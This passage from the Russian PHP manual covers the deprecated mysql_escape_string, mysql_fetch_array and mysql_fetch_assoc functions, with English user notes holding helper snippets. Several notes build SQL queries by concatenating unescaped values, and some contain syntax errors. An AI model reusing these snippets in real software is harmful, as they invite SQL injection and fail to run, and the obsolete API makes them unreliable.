It's very useful to see your query in order to detect problems with syntax. Most often, the output message from MySQL doesn't let you see enough of the query in the error message to let you see where your query went bad- it a missing quote, comma, or ( or ) could have occured well before the error was detected. I do -not- recomend using this procedure, however, for queries which execute on your site that are not user-specific as it has the potential to leak sensative data. Recomended use is just for debugging/building a script, and for general user-specific queries which would at the worst, leak the users own information to themself.

Good luck,

-Scott
10-May-2001 07:03
some error can't handle. Example:

ERROR 1044: Access denied for user: 'ituser@mail.ramon.intranet' to database 'itcom'

This error ocurrs when a intent of a sql insert of no authorized user. The results: mysql_errno = 0 and the mysql_error = "" .


Экранирует строку для использования в mysql_query

  • « mysql_error
  • mysql_fetch_array »
  • PHP Manual
  • MySQL
  • Экранирует строку для использования в mysql_query

mysql_escape_string

(PHP 4 >= 4.0.3, PHP 5)

mysql_escape_string — Экранирует строку для использования в mysql_query

Внимание

Данная функция объявлена устаревшей в PHP 4.3.0, и, вместе с модулем MySQL, удалена PHP в 7.0.0. Вместо неё используйте активно развивающиеся модули MySQLi или PDO_MySQL. Так же смотрите раздел MySQL: выбор API. Альтернативы для этой функции:

  • mysqli_escape_string()
  • PDO::quote()

Описание

mysql_escape_string(string $unescaped_string): string

Функция экранирует unescaped_string таким образом, после чего её можно безопасно использовать в mysql_query(). Данная функция устарела.

Функция идентична mysql_real_escape_string(), исключая тот факт, что mysql_real_escape_string() принимает параметром ещё и идентификатор соединения и экранирует строку с учётом текущей кодировки. mysql_escape_string() не делает этого и результат работы не зависит от кодировки, в который вы работаете с БД.

Список параметров

unescaped_string

Экранируемая строка.

Возвращаемые значения

Возвращает экранируемую строку.

Примеры

Пример #1 Пример использования mysql_escape_string()

<?php
$item = "Zak's Laptop";
$escaped_item = mysql_escape_string($item);
printf("Escaped string: %s\n", $escaped_item);
?>

Результат выполнения данного примера:

Escaped string: Zak\'s Laptop

Примечания

Замечание:

mysql_escape_string() не экранирует символы % и _.

Смотрите также

  • mysql_real_escape_string() - Экранирует специальные символы в строках для использования в выражениях SQL

User Contributed Notes

PHPguru 15-Mar-2015 02:54
You can use this function safely with your MySQL database queries if and only if you are sure that your database connection is using ASCII, UTF-8, or ISO-8859-* and that the backslash is your database's escape character. If you're not sure, then use mysqli_real_escape_string instead. This function is not safe to use on databases with multi-byte character sets.

The only benefit of this function is that it does not require a database connection.


Обрабатывает ряд результата запроса, возвращая ассоциативный массив, численный массив или оба

  • « mysql_escape_string
  • mysql_fetch_assoc »
  • PHP Manual
  • MySQL
  • Обрабатывает ряд результата запроса, возвращая ассоциативный массив, численный массив или оба

mysql_fetch_array

(PHP 4, PHP 5)

mysql_fetch_array — Обрабатывает ряд результата запроса, возвращая ассоциативный массив, численный массив или оба

Внимание

Данный модуль устарел, начиная с версии PHP 5.5.0, и удалён в PHP 7.0.0. Используйте вместо него MySQLi или PDO_MySQL. Смотрите также инструкцию MySQL: выбор API. Альтернативы для данной функции:

  • mysqli_fetch_array()
  • PDOStatement::fetch()

Описание

mysql_fetch_array(resource $result, int $result_type = MYSQL_BOTH): array

Возвращает массив, соответствующий обработанному ряду результата запроса и сдвигает внутренний указатель данных вперёд.

Список параметров

result

Обрабатываемый результат запроса. Этот результат может быть получен с помощью функции mysql_query().

result_type

Тип возвращаемого массива. Является константой и может принимать следующие значения: MYSQL_ASSOC, MYSQL_NUM и MYSQL_BOTH.

Возвращаемые значения

Возвращает массив строк, соответствующих обработанному ряду результата запроса, или false, если рядов больше нет. Тип возвращаемого массива зависит от значения параметра result_type. При использовании MYSQL_BOTH (по умолчанию), вы получите массив, состоящий как из ассоциативных индексов, так и из численных. MYSQL_ASSOC вернёт только ассоциативные индексы (аналогично функции mysql_fetch_assoc()), а MYSQL_NUM - только численные (аналогично функции mysql_fetch_row()).

Если несколько колонок в результате будут иметь одинаковые названия, то будет возвращена последняя колонка. Чтобы получить доступ к другим колонкам с тем же именем, используйте численные индексы массива или псевдонимы в запросе. В случае псевдонимов используйте именно их - вы не сможете использовать настоящие имена колонок.

Примеры

Пример #1 Запрос с применением псевдонимов для дублирующихся имён колонок

SELECT table1.field AS foo, table2.field AS bar FROM table1, table2

Пример #2 mysql_fetch_array() с MYSQL_NUM

<?php
mysql_connect("localhost", "mysql_user", "mysql_password") or
die("Ошибка соединения: " . mysql_error());
mysql_select_db("mydb");

$result = mysql_query("SELECT id, name FROM mytable");

while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
printf("ID: %s Имя: %s", $row[0], $row[1]);
}

mysql_free_result($result);
?>

Пример #3 mysql_fetch_array() с MYSQL_ASSOC

<?php
mysql_connect("localhost", "mysql_user", "mysql_password") or
die("Ошибка соединения: " . mysql_error());
mysql_select_db("mydb");

$result = mysql_query("SELECT id, name FROM mytable");

while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
printf("ID: %s Имя: %s", $row["id"], $row["name"]);
}

mysql_free_result($result);
?>

Пример #4 mysql_fetch_array() с MYSQL_BOTH

<?php
mysql_connect("localhost", "mysql_user", "mysql_password") or
die("Ошибка соединения: " . mysql_error());
mysql_select_db("mydb");

$result = mysql_query("SELECT id, name FROM mytable");

while ($row = mysql_fetch_array($result, MYSQL_BOTH)) {
printf ("ID: %s Имя: %s", $row[0], $row["name"]);
}

mysql_free_result($result);
?>

Примечания

Замечание: Производительность

Важно заметить, что mysql_fetch_array() работает незначительно медленнее, чем mysql_fetch_row(), в то же время предоставляя намного более удобный доступ к данным.

Замечание: Имена полей, возвращаемые этой функцией являются зависимыми от регистра.

Замечание: Эта функция устанавливает NULL-поля в значение null PHP.

Смотрите также

  • mysql_fetch_row() - Обрабатывает ряд результата запроса и возвращает массив с числовыми индексами
  • mysql_fetch_assoc() - Возвращает ряд результата запроса в качестве ассоциативного массива
  • mysql_data_seek() - Перемещает внутренний указатель в результате запроса
  • mysql_query() - Посылает запрос MySQL

User Contributed Notes

scott_carney at hotmail dot com 23-May-2012 05:22
Just thought I'd share these helper functions that I use to simplify processing of query results a bit:
<?php
// For a simple query that should return a single value, this returns just that value (or FALSE) so you can process it immediately
function db_result_single($result) {
    return ($row = mysql_fetch_row($result)) && isset($row[0]) ? $row[0] : false;
}

// Returns the rows as an array of rows
// Providing a key_column gives you access to specific rows (e.g. if (isset($result_array[$user_id])) ...)
function db_result_array($result, $key_column = null) {
    for ($array = array(); $row = mysql_fetch_assoc($result); isset($row[$key_column]) ? $array[$row[$key_column]] = $row : $array[] = $row);
    return $array;
}

// Returns an array of a single column of data that can optionally be keyed from second column (e.g. an array of user names keyed by user id)
function db_result_array_values($result) {
    for ($array = array(); $row = mysql_fetch_row($result); isset($row[1]) ? $array[$row[1]] = $row[0] : $array[] = $row[0]);
    return $array;
}
?>

Naturally, comments [to my email, not here] are welcome.
puzbie at facebookanswers dot co dot uk 08-Nov-2011 01:28
<?php
 while($r[]=mysql_fetch_array($sql));
 ?>
Yes, that will generate a dummy array element containing the false of the final mysql_fetch_array. You should either truncate the array or (more sensibly in my mind) check that the result of mysql_fetch_array is not false before adding it to the array.
Anonymous 30-Aug-2011 01:56
If I use

<?php
while($r[]=mysql_fetch_array($sql));
?>

so in array $r is one more entry then rows returned from the database.
maileremi at gmail dot com 03-Aug-2011 09:49
Simple way to put table in an array...

<?php
//= Query ========================//
$sql=mysql_query("select * from table1");

//= Closed while ====================//
/*everytime it fetches the row, adds it to array...*/
while($r[]=mysql_fetch_array($sql));

echo "<pre>";
//= Prints $r as array =================//
print_r ($r);
//=============================//
echo "</pre>";
?>
final at skilled dot ch 26-Jul-2011 03:50
I ran into troubles with MySQL NULL values when I generated dynamic queries and then had to figure out whether my resultset contained a specific field.

First instict was to use isset() and is_null(), but these function will not behave as you probably expect.

I ended up using array_key_exists, as it was the only function that could tell me whether the key actually existed or not.

<?php
$row = mysql_fetch_assoc(mysql_query("SELECT null as a"));
var_dump($row); //array(1) {  ["a"]=>  NULL }
var_dump(isset($row['a'])); //false
var_dump(isset($row['b'])); //false
var_dump(is_null($row['a'])); //true
var_dump(is_null($row['b'])); //true + throws undefined index notice
var_dump(array_key_exists('a', $row)); // true
var_dump(array_key_exists('b', $row)); // false
?>
Amine O 21-Jan-2011 07:49
If you use implode() with the return value by mysql_fetch_array, if you use MYSQL_BOTH on parameter 2, the result is not really what you're expecting.
For example :
my sql database contains "Amine, Sarah, Mohamed";

$array = mysql_fetch_array($resource,MYSQL_BOTH);
or $array = mysql_fetch_array($resource);
echo implode(" - ", $array);

the result is : Amine-Amine-Sarah-Sarah-Mohamed-Mohamed
and we expect just : Amine-Sarah-Mohamed

You must use MYSQL_NUM or MYSQL_ASSOC on parameter 2 to resolve the problem.
buddy at databoysoftware dot com 03-Aug-2009 10:24
In the note entered by Typer85, concerning the use of mysql_data_seek(), it should be noted that there are two parameters, both of which are required.

If you have already iterated through a result array (for instance, using mysql_fetch_array()), and have a need to start from the top, the proper syntax is:

mysql_data_seek({result set},{record#})

EG:
mysql_data_seek($result,0)
("0" represents the first record in the array.)

This will reset your result to the top of the array so that you can then re-process with
while($row = mysql_fetch_array($result)) or other array processing.
Tristan 27-Jul-2009 05:42
Here's a quicker way to clone a record.  Only 3 lines of code instead of 4.  But the table must have an auto-incremented id.
I took the code from Tim and altered it. Props to Tim.

<?php
// copy content of the record you wish to clone
$entity = mysql_fetch_array(mysql_query("SELECT * FROM table_name WHERE id='$id_to_be cloned'"), MYSQL_ASSOC) or die("Could not select original record");

// set the auto-incremented id's value to blank. If you forget this step, nothing will work because we can't have two records with the same id
$entity["id"] = "";

// insert cloned copy of the original  record
mysql_query("INSERT INTO table_name (".implode(", ",array_keys($entity)).") VALUES ('".implode("', '",array_values($entity))."')");

// if you want the auto-generated id of the new cloned record, do the following
$newid = mysql_insert_id();
?>

There you go.
mehdi dot haresi at gmail dot com 20-Jul-2009 12:44
For all of you having problems accessing duplicated field names in queries with their table alias i have implemented the following quick solution:

<?php
function mysql_fetch_alias_array($result)
{
    if (!($row = mysql_fetch_array($result)))
    {
        return null;
    }

    $assoc = Array();
    $rowCount = mysql_num_fields($result);

    for ($idx = 0; $idx < $rowCount; $idx++)
    {
        $table = mysql_field_table($result, $idx);
        $field = mysql_field_name($result, $idx);
        $assoc["$table.$field"] = $row[$idx];
    }

    return $assoc;
}
?>

Lets asume we have 2 tables student and contact each having fID as the index field and want to access both fID fields in php.

The usage of this function will be pretty similar to calling mysql_fetch_array:

<?php
$result = mysql_query("select * from student s inner join contact c on c.fID = s.frContactID");

while ($row = mysql_fetch_alias_array($result))
{
    echo "StudenID: {$row['s.fID']}, ContactID: {$row['c.fID']}";
}
?>

Voila, that's it :)

Please be aware that by using this function, you have to access all fields with their alias name (e.g. s.Name, s.Birhtday) even if they are not duplicated.

If you have questions, just send me a mail.

Best regards,
Mehdi Haresi
die-webdesigner.at
info at o08 dot com 06-Dec-2008 06:33
As opposite of mysql_fetch_array:

<?php
function mysql_insert_array ($my_table, $my_array) {
    $keys = array_keys($my_array);
    $values = array_values($my_array);
    $sql = 'INSERT INTO ' . $my_table . '(' . implode(',', $keys) . ') VALUES ("' . implode('","', $values) . '")';
    return(mysql_query($sql));
}
#http://www.weberdev.com/get_example-4493.html
?>
KingIsulgard 24-Nov-2008 05:49
I have found a way to put all results from the select query in an array in one line.

// Read records
$result = mysql_query("SELECT * FROM table;") or die(mysql_error());

// Put them in array
for($i = 0; $array[$i] = mysql_fetch_assoc($result); $i++) ;

// Delete last empty one
array_pop($array);

You need to delete the last one because this will always be empty.

By this you can easily read the entire table to an array and preserve the keys of the table columns. Very handy.
noagbodjivictor at gmail dot com 09-Nov-2007 08:53
Little improvement to the previous function.

function mysql_fetch_rowsarr($result, $numass=MYSQL_BOTH) {
  $got = array();

  if(mysql_num_rows($result) == 0)
    return $got;

  mysql_data_seek($result, 0);

  while ($row = mysql_fetch_array($result, $numass)) {
    array_push($got, $row);
  }

  return $got;
}
Typer85 at gmail dot com 30-Nov-2006 05:22
Please be advised that the resource result that you pass to this function can be thought of as being passed by reference because a resource is simply a pointer to a memory location.

Because of this, you can not loop through a resource result twice in the same script before resetting the pointer back to the start position.

For example:

----------------
<?php

// Assume We Already Queried Our Database.

// Loop Through Result Set.

while( $queryContent = mysql_fetch_row( $queryResult ) {

    // Display.

    echo $queryContent[ 0 ];
}

// We looped through the resource result already so the
// the pointer is no longer pointing at any rows.

// If we decide to loop through the same resource result
// again, the function will always return false because it
// will assume there are no more rows.

// So the following code, if executed after the previous code
// segment will not work.

while( $queryContent = mysql_fetch_row( $queryResult ) {

    // Display.

    echo $queryContent[ 0 ];
}

// Because $queryContent is now equal to FALSE, the loop
// will not be entered.

?>
----------------

The only solution to this is to reset the pointer to make it point at the first row again before the second code segment, so now the complete code will look as follows:

----------------
<?php

// Assume We Already Queried Our Database.

// Loop Through Result Set.

while( $queryContent = mysql_fetch_row( $queryResult ) {

    // Display.

    echo $queryContent[ 0 ];
}

// Reset Our Pointer.

mysql_data_seek( $queryResult );

// Loop Again.

while( $queryContent = mysql_fetch_row( $queryResult ) {

    // Display.

    echo $queryContent[ 0 ];
}

?>
----------------

Of course you would have to do extra checks to make sure that the number of rows in the result is not 0 or else mysql_data_seek itself will return false and an error will be raised.

Also please note that this applies to all functions that fetch result sets, including mysql_fetch_row, mysql_fetch_assos, and mysql_fetch_array.
john at skem9 dot com 21-Jan-2006 04:13
my main purpose was to show the fetched array into a table, showing the results side by side instead of underneath each other, and heres what I've come up with.

just change the $display number to however many columns you would like to have, just dont change the $cols number or you might run into some problems.

<?php
$display = 4;
$cols = 0;
echo "<table>";
while($fetched = mysql_fetch_array($result)){
    if($cols == 0){
        echo "<tr>\n";
    }
    // put what you would like to display within each cell here
    echo "<td>".$fetched['id']."<br />".$fetched['name']."</td>\n";
    $cols++;
    if($cols == $display){
        echo "</tr>\n";
        $cols = 0;
    }
}
// added the following so it would display the correct html
if($cols != $display && $cols != 0){
    $neededtds = $display - $cols;
    for($i=0;$i<$neededtds;$i++){
        echo "<td></td>\n";
    }
     echo "</tr></table>";
    } else {
    echo "</table>";
}
?>

Hopefully this will save some of you a lot of searching.

any kind of improvements on this would be awesome!
tim at wiltshirewebs dot com 14-Nov-2005 05:49
Here's a quick way to duplicate or clone a record to the same table using only 4 lines of code:

// first, get the highest id number, so we can calc the new id number for the dupe
// second, get the original entity
// third, increment the dupe record id to 1 over the max
// finally insert the new record - voila - 4 lines!

$id_max = mysql_result(mysql_query("SELECT MAX(id) FROM table_name"),0,0) or die("Could not execute query");
$entity = mysql_fetch_array(mysql_query("SELECT * FROM table." WHERE id='$id_original'),MYSQL_ASSOC) or die("Could not select original record"); // MYSQL_ASSOC forces a purely associative array and blocks twin key dupes, vitally, it brings the keys out so they can be used in line 4
$entity["id"]=$id_max+1;
mysql_query("INSERT INTO it_pages (".implode(", ",array_keys($Entity)).") VALUES ('".implode("', '",array_values($Entity))."')");

Really struggled in cracking this nut - maybe there's an easier way out there?  Thanks to other posters for providing inspiration. Good luck - Tim
eddie at nailchipper dot com 03-Nov-2005 10:58
mob AT stag DOT ru has a nice function for getting simple arrays from MySQL but it has a serious bug. The MySQL link being set as an argument is NULL when no link is supplied meaning that you're passing NULL to the mysql funcctions as a link, which is wrong. I am not using multitple connections so I removed the link and using the global link. If you want to support multiple links check to see if its set first.

/*
* to support multiple links add the $link argument to function then
* test it before you use the link
*
* if(isset($link))
*   if($err=mysql_errno($link))return $err;
* else
*   if($err=mysql_errno())return $err;
*/

function mysql_fetch_all($query){
 $r=@mysql_query($query);
 if($err=mysql_errno())return $err;
 if(@mysql_num_rows($r))
  while($row=mysql_fetch_array($r))$result[]=$row;
 return $result;
}
function mysql_fetch_one($query){
 $r=@mysql_query($query);
 if($err=mysql_errno())return $err;
 if(@mysql_num_rows($r))
 return mysql_fetch_array($r);
}
kunky at mail dot berlios dot de 01-Oct-2005 03:41
This is very useful when the following query is used:

`SHOW TABLE STATUS`

Different versions of MySQL give different responses to this.

Therefore, it is better to use mysql_fetch_array() because the numeric references given my mysql_fetch_row() give very different results.
joelwan at gmail dot com 05-Sep-2005 03:14
Try Php Object Generator: http://www.phpobjectgenerator.com

It's kind of similar to Daogen, which was suggested in one of the comments above, but simpler and easier to use.

Php Object Generator generates the Php Classes for your Php Objects. It also provides the database class so you can focus on more important aspects of your project. Hope this helps.
romans at servidor dot unam dot mx 12-May-2005 10:31
Regarding duplicated field names in queries, I wanted some way to retrieve rows without having to use alias, so I wrote this class that returns rows as 2d-arrays

<?
  $field = $drow['table']['column'];
?>

Here is the code:

<?
  class mysql_resultset
  {
    var $results, $map;

    function mysql_resultset($results)
    {
      $this->results = $results;
      $this->map = array();

      $index = 0;
      while ($column = mysql_fetch_field($results))
      {
        $this->map[$index++] = array($column->table, $column->name);
      }
    }

    function fetch()
    {
      if ($row = mysql_fetch_row($this->results))
      {
        $drow = array();

        foreach ($row as $index => $field)
        {
          list($table, $column) = $this->map[$index];
          $drow[$table][$column] = $row[$index];
        }

        return $drow;
      }
      else
        return false;
    }
  }
?>

The class is initialized with a mysql_query result:

<?
  $resultset = new mysql_resultset(mysql_query($sql));
?>

The constructor builds an array that maps each field index to a ($table, $column) array so we can use mysql_fetch_row and access field values by index in the fetch() method. This method then uses the map to build up the 2d-array.

An example:

<?
  $sql =
    "select orders.*, clients.*, productos.* ".
    "from orders, clients, products ".
    "where join conditions";

  $resultset = new mysql_resultset(mysql_query($sql));

  while ($drow = $resultset->fetch())
  {
    echo 'No.: '.$drow['orders']['number'].'<br>';
    echo 'Client: '.$drow['clients']['name'].'<br>';
    echo 'Product: '.$drow['products']['name'].'<br>';
  }
?>

I hope others find this useful as it has been to me.
mob AT stag DOT ru 23-Jan-2005 11:16
I wrote some utility functions to improve usability and readability, and use them everywhere in my code. I suppose they can help.

function mysql_fetch_all($query,$MySQL=NULL){
 $r=@mysql_query($query,$MySQL);
 if($err=mysql_errno($MySQL))return $err;
 if(@mysql_num_rows($r))
  while($row=mysql_fetch_array($r))$result[]=$row;
 return $result;
}
function mysql_fetch_one($query,$MySQL=NULL){
 $r=@mysql_query($query,$MySQL);
 if($err=mysql_errno($MySQL))return $err;
 if(@mysql_num_rows($r))
 return mysql_fetch_array($r);
}

Example use:
if(is_array($rows=mysql_fetch_all("select * from sometable",$MySQL))){
 //do something
}else{
 if(!is_null($rows)) die("Query failed!");
}
joey at clean dot q7 dot com 18-Apr-2004 07:47
The issue of NULL fields seems to not be an issue anymore (as of 4.2.2 at least).  mysql_fetch_* now seems to fully populate the array and put in entries with values of NULL when that is what the database returned.  This is certainly the behaviour I expected, so I was concerned when i saw the notes here, but testing shows it does work the way I expected.
Ben 06-Apr-2004 11:59
One of the most common mistakes that people make with this function, when using it multiple times in one script, is that they forget to use the mysql_data_seek() function to reset the internal data pointer.

When iterating through an array of MySQL results, e.g.

<?php
while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
    foreach ($line as $col_value) {
        echo $col_value . '<br />';
    }
}
?>

the internal data pointer for the array is advanced, incrementally, until there are no more elements left in the array. So, basically, if you copy/pasted the above code into a script TWICE, the second copy would not create any output. The reason is because the data pointer has been advanced to the end of the $line array and returned FALSE upon doing so.

If, for some reason, you wanted to interate through the array a second time, perhaps grabbing a different piece of data from the same result set, you would have to make sure you call

<?php
mysql_data_seek($result, 0);
?>

This function resets the pointer and you can re-iterate through the $line array, again!
hanskrentel at yahoo dot de 08-Jan-2003 01:25
for the problem with fields containing null values in an associated array, feel free to use this function. i've got no more problems with it, just drop it in your script:

/*
*    mysql_fetch_array_nullsafe
*
*
*    get a result row as an enumerated and associated array
*    ! nullsafe !
*
*    parameter:    $result
*                    $result:    valid db result id
*
*    returns:    array | false (mysql:if there are any more rows)
*
*/
function mysql_fetch_array_nullsafe($result) {
    $ret=array();

    $num = mysql_num_fields($result);
    if ($num==0) return $ret;

    $fval = mysql_fetch_row ($result);
     if ($fval === false) return false;

    $i=0;
     while($i<$num)
        {
            $fname[$i] = mysql_field_name($result,$i);
            $ret[$i] = $fval[$i];            // enum
            $ret[''.$fname[$i].''] = $fval[$i];    // assoc
            $i++;
        }

    return $ret;
}
juancri at tagnet dot org 12-Nov-2002 01:41
An example with mysql_fetch_array():

    $result = mysql_query("SELECT name FROM table WHERE id=8");
    $array = mysql_fetch_array($result);

$array will be:

    array ([0] => "John", ['name'] => "John")

Then you can access to the results:

    echo "The name is " . $array[0];
    // or
    echo "The name is " . $array['name'];

But the array is not referential. $array[0] is not a reference to $array['name'] or $array['name'] to $array[0], they are not relationed between. Because of that, the system will use excesive memory. With large columns, try to use mysql_fetch_assoc() or mysql_fetch_row() only.
dkantha at yahoo dot com 10-Nov-2002 04:27
I did find 'jb at stormvision's' code useful above, but instead of the number of rows you need the number of fields; otherwise you get an error.

So, it should read like the following:

$result=mysql_query("select * from mydata order by 'id'")or die('died');
$num_fields = mysql_num_fields($result);
$j=0;
$x=1;
while($row=mysql_fetch_array($result)){
  for($j=0;$j<$num_fields;$j++){
   $name = mysql_field_name($result, $j);
   $object[$x][$name]=$row[$name];
  }$x++;
}

For Later in the script you may use the below array to gain access to your data

$i=1;
$ii=count($object);        //quick access function
for($i=1;$i<=$ii;$i++){
echo $object[$i]['your_field_name'];
}

I have tested this in my apps and it works great! :-)
glenn dot hoeppner at yakhair dot com 09-Oct-2002 02:04
Just another workaround for columns with duplicate names...

Modify your SQL to use the AS keyword.

Instead of:
$sql = "SELECT t1.cA, t2.cA FROM t1, t2 WHERE t1.cA = t2.cA";

Try:
$sql = "SELECT t1.cA AS foo1, t2.cA AS foo2 FROM t1, t2 WHERE t1.cA = t2.cA";

Then you can reference the results by name in the array:
  $row[foo1], $row[foo2]
tslukka at cc dot hut dot fi 25-Sep-2002 02:20
If you think MySQL (or other) database
handling is difficult and requires lot's of
code, I recommend that you try http://titaniclinux.net/daogen/

DaoGen is a program source code generator
that supports PHP and Java. It makes database
programming quick and easy. Generated sources
are released under GPL.
robjohnson at black-hole dot com 14-Jun-2002 03:22
Benchmark on a table with 38567 rows:

mysql_fetch_array
MYSQL_BOTH: 6.01940000057 secs
MYSQL_NUM: 3.22173595428 secs
MYSQL_ASSOC: 3.92950594425 secs

mysql_fetch_row: 2.35096800327 secs
mysql_fetch_assoc: 2.92349803448 secs

As you can see, it's twice as effecient to fetch either an array or a hash, rather than getting both.  it's even faster to use fetch_row rather than passing fetch_array MYSQL_NUM, or fetch_assoc rather than fetch_array MYSQL_ASSOC.  Don't fetch BOTH unless you really need them, and most of the time you don't.
barbieri at NOSPAMzero dot it 31-May-2002 06:21
Here is a suggestion to workaround the problem of NULL values:

// get associative array, with NULL values set
$record = mysql_fetch_array($queryID,MYSQL_ASSOC);

// set number indices
if(is_array($record))
{
    $i = 0;
    foreach($record as $element)
        $record[$i++] = $element;
}

This way you can access $result array as usual, having NULL fields set.
mjm at porter dot appstate dot edu 12-Mar-2002 07:48
If you perform a SELECT query which returns different columns with duplicate names, like this:

--------
$sql_statement = "SELECT tbl1.colA, tbl2.colA FROM tbl1 LEFT JOIN tbl2 ON tbl1.colC = tbl2.colC";

$result = mysql_query($sql_statement, $handle);

$row = mysql_fetch_array($result);
--------

Then

$row[0] is equivalent to $row["colA"]

but

$row[1] is not equivalent to $row["colA"].

Moral of the story: You must use the numerical index on the result row arrays if column names are not unique, even if they come from different tables within a JOIN. This would render mysql_fetch_assoc() useless.

[Ed. note - or you could do the usual 'select tbl1.colA as somename, tbl2.colA as someothername. . .' which would obviate the problem. -- Torben]
some at gamepoint dot net 10-Jan-2002 11:13
I never had so much trouble with null fields but it's to my understanding that extract only works as expected when using an associative array only, which is the case with mysql_fetch_assoc() as used in the previous note.

However a mysql_fetch_array will return field values with both the numerical and associative keys, the numerical ones being those extract() can't handle very well.
You can prevent that by calling mysql_fetch_array($result,MYSQL_ASSOC) which will return the same result as mysql_fetch_assoc and is extract() friendly.


Возвращает ряд результата запроса в качестве ассоциативного массива

  • « mysql_fetch_array
  • mysql_fetch_field »
  • PHP Manual
  • MySQL
  • Возвращает ряд результата запроса в качестве ассоциативного массива

mysql_fetch_assoc

(PHP 4 >= 4.0.3, PHP 5)

mysql_fetch_assoc — Возвращает ряд результата запроса в качестве ассоциативного массива

Внимание

Данный модуль устарел, начиная с версии PHP 5.5.0, и удалён в PHP 7.0.0. Используйте вместо него MySQLi или PDO_MySQL. Смотрите также инструкцию MySQL: выбор API. Альтернативы для данной функции:

  • mysqli_fetch_assoc()
  • PDOStatement::fetch() с параметром mode заданным как PDO::FETCH_ASSOC

Описание

mysql_fetch_assoc(resource $result): array

Возвращает ассоциативный массив, соответствующий полученному ряду и сдвигает вперёд внутренний указатель результата. Функция mysql_fetch_assoc() аналогична вызову функции mysql_fetch_array() со вторым необязательным параметром, равным MYSQL_ASSOC. Функция возвращает только ассоциативный массив.

Список параметров

result

Обрабатываемый результат запроса. Этот результат может быть получен с помощью функции mysql_query().

Возвращаемые значения

Возвращает ассоциативный массив строк, соответствующий полученному ряду, либо false если рядов больше нет.

Если два или более столбцов результата имеют одинаковые имена, приоритет будет иметь последний столбец. Для доступа к другому одноимённому столбцу (или столбцам), вам необходимо либо обратиться к результату запроса по числовому индексу с помощью mysql_fetch_row() либо добавить псевдонимы к нужным столбцам. Для более подробной информации о псевдонимах смотрите описание примера mysql_fetch_array().

Примеры

Пример #1 Расширенный пример использования mysql_fetch_assoc()

<?php

$conn = mysql_connect("localhost", "mysql_user", "mysql_password");

if (!$conn) {
echo "Unable to connect to DB: " . mysql_error();
exit;
}

if (!mysql_select_db("mydbname")) {
echo "Unable to select mydbname: " . mysql_error();
exit;
}

$sql = "SELECT id as userid, fullname, userstatus
FROM sometable
WHERE userstatus = 1";

$result = mysql_query($sql);

if (!$result) {
echo "Could not successfully run query ($sql) from DB: " . mysql_error();
exit;
}

if (mysql_num_rows($result) == 0) {
echo "No rows found, nothing to print so am exiting";
exit;
}

// До тех пор, пока в результате содержатся ряды, помещаем их в ассоциативный массив.
// Замечание: если запрос возвращает только один ряд - нет нужды в цикле.
// Замечание: если вы добавите extract($row); в начало цикла, вы сделаете
// доступными переменные $userid, $fullname и $userstatus
while ($row = mysql_fetch_assoc($result)) {
echo $row["userid"];
echo $row["fullname"];
echo $row["userstatus"];
}

mysql_free_result($result);

?>

Примечания

Замечание: Производительность

Важно отметить, что mysql_fetch_assoc() лишь незначительно медленнее, чем mysql_fetch_row(), но в то же время предоставляет важную дополнительную информацию.

Замечание: Имена полей, возвращаемые этой функцией являются зависимыми от регистра.

Замечание: Эта функция устанавливает NULL-поля в значение null PHP.

Смотрите также

  • mysql_fetch_row() - Обрабатывает ряд результата запроса и возвращает массив с числовыми индексами
  • mysql_fetch_array() - Обрабатывает ряд результата запроса, возвращая ассоциативный массив, численный массив или оба
  • mysql_data_seek() - Перемещает внутренний указатель в результате запроса
  • mysql_query() - Посылает запрос MySQL
  • mysql_error() - Возвращает текст ошибки последней операции с MySQL

User Contributed Notes

bkfake-php at yahoo dot com 24-Jan-2014 08:53
Although deprecated as of PHP 5.5, the mySQL function do NOT trigger an E_DEPRECATED error
george at georgefisher dot com 21-Apr-2009 07:51
Thanks to to R. Bradley for the implode idea. The following fixes a few bugs and includes quote_smart functionality (and has been tested)

<?php
   function mysql_insert_assoc ($my_table, $my_array) {

   //
   // Insert values into a MySQL database
   // Includes quote_smart code to foil SQL Injection
   //
   // A call to this function of:
   //
   //  $val1 = "foobar";
   //  $val2 = 495;
   //  mysql_insert_assoc("tablename", array(col1=>$val1, col2=>$val2, col3=>"val3", col4=>720, col5=>834.987));
   //
   // Sends the following query:
   //  INSERT INTO 'tablename' (col1, col2, col3, col4, col5) values ('foobar', 495, 'val3', 720, 834.987)
   //

       global $db_link;

       // Find all the keys (column names) from the array $my_array
       $columns = array_keys($my_array);

       // Find all the values from the array $my_array
       $values = array_values($my_array);

       // quote_smart the values
       $values_number = count($values);
       for ($i = 0; $i < $values_number; $i++)
         {
         $value = $values[$i];
         if (get_magic_quotes_gpc()) { $value = stripslashes($value); }
         if (!is_numeric($value))    { $value = "'" . mysql_real_escape_string($value, $db_link) . "'"; }
         $values[$i] = $value;
         }

       // Compose the query
       $sql = "INSERT INTO $my_table ";

       // create comma-separated string of column names, enclosed in parentheses
       $sql .= "(" . implode(", ", $columns) . ")";
       $sql .= " values ";

       // create comma-separated string of values, enclosed in parentheses
       $sql .= "(" . implode(", ", $values) . ")";

       $result = @mysql_query ($sql) OR die ("<br />\n<span style=\"color:red\">Query: $sql UNsuccessful :</span> " . mysql_error() . "\n<br />");

       return ($result) ? true : false;
   }
?>
Daniel Chcouri - 333222 +A-T+ gmail 02-Apr-2009 03:45
Fetching all the results to array with one liner:

<?php
$result = mysql_query(...);
while(($resultArray[] = mysql_fetch_assoc($result)) || array_pop($resultArray));
?>
josh at joshstrike dot com 27-Dec-2008 03:40
Here's a nifty function to copy a whole table to another table. Takes as its arguments
$z -> the result of a SQL query with columns matching the table you're copying into.
$toTable -> string name of the table to copy into.
$link_identifier -> the db resource of the table you're copying into.
If anyone can find a faster way to do this, I'd be glad to know about it...

<?php
function mysql_multirow_copy($z,$toTable,$link_identifier) {
    $fields = "";
    for ($i=0;$i<mysql_num_fields($z);$i++) {
        if ($i>0) {
            $fields .= ",";
        }
        $fields .= mysql_field_name($z,$i);
    }
    $q = "INSERT INTO $toTable ($fields) VALUES";
    $c = 0;
    mysql_data_seek($z,0); //critical reset in case $z has been parsed beforehand. !
    while ($a = mysql_fetch_assoc($z)) {
        foreach ($a as $as) {
            $a[key($a)] = addslashes($as);
            next ($a);
        }
        if ($c>0) {
            $q .= ",";
        }
        $q .= "('".implode(array_values($a),"','")."')";
        $c++;
    }
    $q .= ";";
    $z = mysql_query($q,$link_identifier);
    return ($q);
}
?>
nick at homefeedback dot com 21-Mar-2007 04:50
